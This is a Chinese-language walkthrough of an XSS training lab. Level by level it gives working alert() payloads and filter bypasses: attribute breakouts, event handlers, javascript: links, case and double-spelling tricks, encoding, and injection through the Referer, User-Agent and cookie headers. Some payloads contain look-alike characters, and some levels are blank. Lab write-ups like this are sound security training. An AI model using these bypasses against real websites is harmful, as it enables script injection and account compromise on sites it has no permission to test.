第一关
经观察发现,该页面会显示由我们GET请求发送的变量name。
看一下页面前端源码。
可以看到这是用户输入的name变量,那么我们就猜测该位置会不会有XSS漏洞呢,也就是反射型的XSS,执行我们自己输入的前端代码。
那么我们就可以修改name处的值,输入我们的payload
?name=<script>alert("hack")</script>
第二关
进入到level2,界面如下所示
其实在本界面中也有几个值得注意的点,第一是它是以GET请求发送的变量,第二是在本页面上也出现了我们发送的变量。
我们看一眼前端源码
里面的value="test"
可以看到该变量经过服务器处理后又返回到浏览器input标签中value值中和<h2></h2>标签中
那么还是如上题中一样修改GET发送的变量。
?keyword=<script>alert("hack")</script>
可以看到,想象中的结果并没有出现。所以我们看看前端源码
发现<h2>部分的恶意代码应该是被重新编码了,所以不会执行,而<input>标签内则是被闭包了。
所以我们可以在<input>标签处下手,利用闭包,输入我们的恶意代码。//
用于注释后面那个">
构造url
?keyword="> <script>alert("hack")</script> //
第三关
初始界面
输入test页面为
源码为:
看起来与上题几乎无异,但是我们并不知晓在服务器端是否对我们输入的值有任何过滤转码抑或是转义等。
本关卡前端源码显示双引号,但用单引号才可以!
输入'> <script>alert()</script> <'
可以看到并没有达到我们的效果,页面将我们的输入原封不动地显示出来,并没有执行。
查看源代码:
查看源代码
是htmlspecialchars函数只针对<>大于小于号进行html实体化,我们还可以利用其他方法进行xss注入,这里我们可以利用onfocus事件绕过
onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,以上面图片的html标签<input>为例,<input>标签是有输入框的,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码
所以我们可以利用这个事件来绕过<>号的过滤已达到执行js的目的,构造payload
输入 ' οnfοcus=javascript:alert() ' 后在点击搜索框
第四关
查看前端源码
这里是双引号闭合,<input>标签,所以我们还能继续利用onfocus事件,构建payload
" οnfοcus=javascript:alert() "
第五关
查看源码
先用上一关的方法测试 " οnfοcus=javascript:alert() "
这里on被替换成了o_n
查看后端源码
过滤了js的标签
strtolower将所有字母转化为小写
过滤了onfocus事件
不能用大小写法来绕过过滤了,只能新找一个方法进行xss注入,这里我们用a href标签法,
href属性的意思是 当标签<a>被点击的时候,就会触发执行转跳,上面是转跳到一个网站,我们还可以触发执行一段js代码
添加一个标签得闭合前面的标签,构建payload
输入 "> <a href=javascript:alert()>xxx</a> <"
之后点击xxx,触发a标签href属性即可
第六关
查看源代码
不知道过滤了啥,输入关键字测试看看
onfocus <script> <a href=javascript:alert()>
如图,被过滤了很多关键字,现在试用大小写绕过法
OnFocus <sCriPt> <a hReF=javascript:alert()>
发现大小写没有被过滤掉,这题能利用大小写进行绕过,所以我们可以用下面的方法,构造payload
"> <sCript>alert()</sCript> <"
" Onfocus=javascript:alert() "
"> <a hRef=javascript:alert()>x</a> <"
都可以。本关主要时用大小写法绕过str_replace()函数
第七关
先上关键字试试看
" OnFocus <sCriPt> <a hReF=javascript:alert()>
结果和前端源码
传进去的值,经过转化后变成了" focus <> <a =java:alert()>
不难发现,这里面进行了小写转化,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用双拼写来绕过,
比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on
比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script
使用
"> <a hrehreff=javasscriptcript:alert()>1</a> <"
onerror属性是指当图片加载不出来的时候触发js函数,以上面的代码为例,这里因为src指向的是值666,而不是图片的地址和base64编码啥的,就会导致触发alert函数
第八关
先输入123测试查看页面结果和前端源代码
输入的值插入了两个地方,第一个是input标签,第二个是href属性,老方法,先看看过滤了啥关键字
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
可以发现,input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、
我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议
javascript:alert()
利用在线工具进行Unicode编码后得到在线Unicode编码解码后输入
javascript:alert()
在点击友情链接
第九关
先输入代码查看结果在分析
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
显示链接不合法
前端看不出原因,去查看php文件
可以看出和上一关一样过滤了很多,所以还是得编码的方式
里面的if语句的判断条件
当false等于false的时候(就是传入的值没有http://)就会执行if,为了防止false===false,我们需要向传入的值里面添加http://并用注释符注释掉否则会执行不了无法弹窗,让函数strpos返回一个数字,构造payload
javascript:alert()/* http:// */
第十关
先输入代码查看页面和前端代码
没有搜索框不知道过滤了那些
查看源代码
这里是get传参t_sort,并过滤掉了<>号,不能闭合插入标签,但是我们还能用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload
?t_sort=" οnfοcus=javascript:alert() type="text
根据源码猜解传参的参数名,隐藏的input标签可以插入type="text"显示
第十一关
查看前端源代码
<input>标签有四个值,都做了隐藏处理,不难看出,第四个名为t_ref的<input>标签是http头referer的参数(就是由啥地址转跳到这里的,http头的referer会记录有),我们先做个简单的测试来验证一下前面三个标签名,GET与POST传参都试一下看看
GET传参:
?t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
没赋值成功,再试试看POST传参:
t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>
POST传参也不得,那应该就referer头了,用burpsuite抓包一下,添加http头
Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
再查看一下源码
对比发现,把大于小于号><给删掉了,但是我们还能用onfocus,构造一个http头
Referer: " οnfοcus=javascript:alert() type="text
第十二关
查看前端代码
这肯定是User-Agent头了,再用burpsuite抓包一下,将User-Agent头修改为我们的测试代码
" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
再查看一下源码
跟上题一样,构造UA头
" οnfοcus=javascript:alert() type="text
再看一下这关的源码、
第十三关
查看前端代码
名字是t_cook,考虑到是cookie头,我们先看一下这个网页的cookie,F12打开
果然是,cookie名为user,我们直接在这里改一下就好,onfocus用腻了,换成onclick,用法也差不多,改为
" οnclick=alert() type="text
再刷新一下,点击框框就好了
第十四关
第十五关
可以看到这儿有个陌生的东西ng-include
ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号
我们先试试看包涵第一关,构建payload
?src='/level1.php'
所以可以随便包涵之前的一关并对其传参,以达到弹窗的效果,先测试一下过滤了啥,构造payload
所以可以随便包涵之前的一关并对其传参,以达到弹窗的效果,先测试一下过滤了啥,构造payload
?src=" ' sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> j
对比发现,这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签,可参考XSS常见的触发标签,构造payload
?src='/level1.php?name=<img src=1 οnmοuseοver=alert()>'
当鼠标移动到图片的时候就触发了弹窗
当然也能用p标签,可以构造payload
?src='/level1.php?name=<p οnmοusedοwn=alert()>哈哈哈</p>'
第十六关
页面
前端代码
est插入到了center标签中,所以这里就不用闭合了,老规矩,先测试一波关键字
?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j
对比发现,这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化,想尝试一下p标签<p οnmοusedοwn=alert()>abc</p>,谁知道也将/给替换成了空格,无奈,只好看一下后端源码
果然给过掉了,空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的<img>、<details>、<svg>等标签。
随便选个标签,将空格替换成回车的url编码,构造payload
?keyword=<svg%0Aοnlοad=alert(1)>
第十七关
页面
对比发现,虽然加了该死的html转义,但是这里不需要闭合符号,传入的参数都出现在了embed标签上,打开后缀名为swf的文件(FLASH插件的文件,现在很多浏览器都不支持FLASH插件了)
所以,这题的解法很简单,首先得用一个支持flash插件的浏览器打开本关(打开后会有个图片出来的,不支持flash插件浏览器就没有),如果不想下载的话,自己去后端改一下也行,将后端第十七关的代码(level17.php)指向的swf文件改为index.png
就有个embed标签的区域在啦,其实用不用swf文件都一样的,主要是区域,接着我们构造payload
?arg02= οnclick=alert()
第十八关
页面
前端代码
?arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;
只搞了个html实体化函数,也没过滤啥,感觉跟上关一样,用事件触发属性即可(如onmouse系列、onfocus、onclick等)直接上payload
?arg02= οnmοusedοwn=alert()
再点一下embed标签区域
第十九关
网页源码差不多,也就是只有swf文件不同的差别,直接上payload
?arg02= οnmοuseup=alert()
实体化函数在无法闭合,那就利用其他的
本关为Flash xss。浏览器不支持flash
第二十关
本关也需要flash,但我没有具体步骤参考flash xss攻击步骤